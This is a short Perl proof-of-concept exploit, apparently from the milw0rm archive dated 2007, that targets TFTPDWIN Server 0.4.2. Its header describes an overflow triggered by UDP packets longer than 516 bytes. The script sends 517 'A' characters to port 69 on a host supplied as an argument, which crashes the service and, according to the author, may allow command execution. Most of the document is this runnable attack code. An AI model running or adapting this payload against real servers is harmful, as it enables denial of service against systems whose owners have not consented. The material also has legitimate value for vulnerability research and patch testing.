#!/usr/bin/perl # # TFTPDWIN Server UDP DOS 0.4.2 POC # written By : Umesh Wanve (umesh_345@yahoo.com) # #------------------------------------------------------------------------------- # TFTPDWIN Server is a Freeware TFTP server for Windows 9x/NT/XP. # (http://www.tftpserver.prosysinfo.com.pl) # A vulnerability has been identified in TFTP Server TFTPDWIN Server v0.4.2, which # could be exploited by remote or local attackers to execute arbitrary commands # or cause a denial of service. This flaw is when attacker sends UDP packet of length more than 516 bytes # #----------------------------Start of Code------------------------------------- use IO::Socket; use strict; my($socket) = ""; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "69", Proto => "UDP")) { print $socket "A" x 517; sleep(1); close($socket); } else { print "Cannot connect to $ARGV[0]:69\n"; } # milw0rm.com [2007-03-08] 
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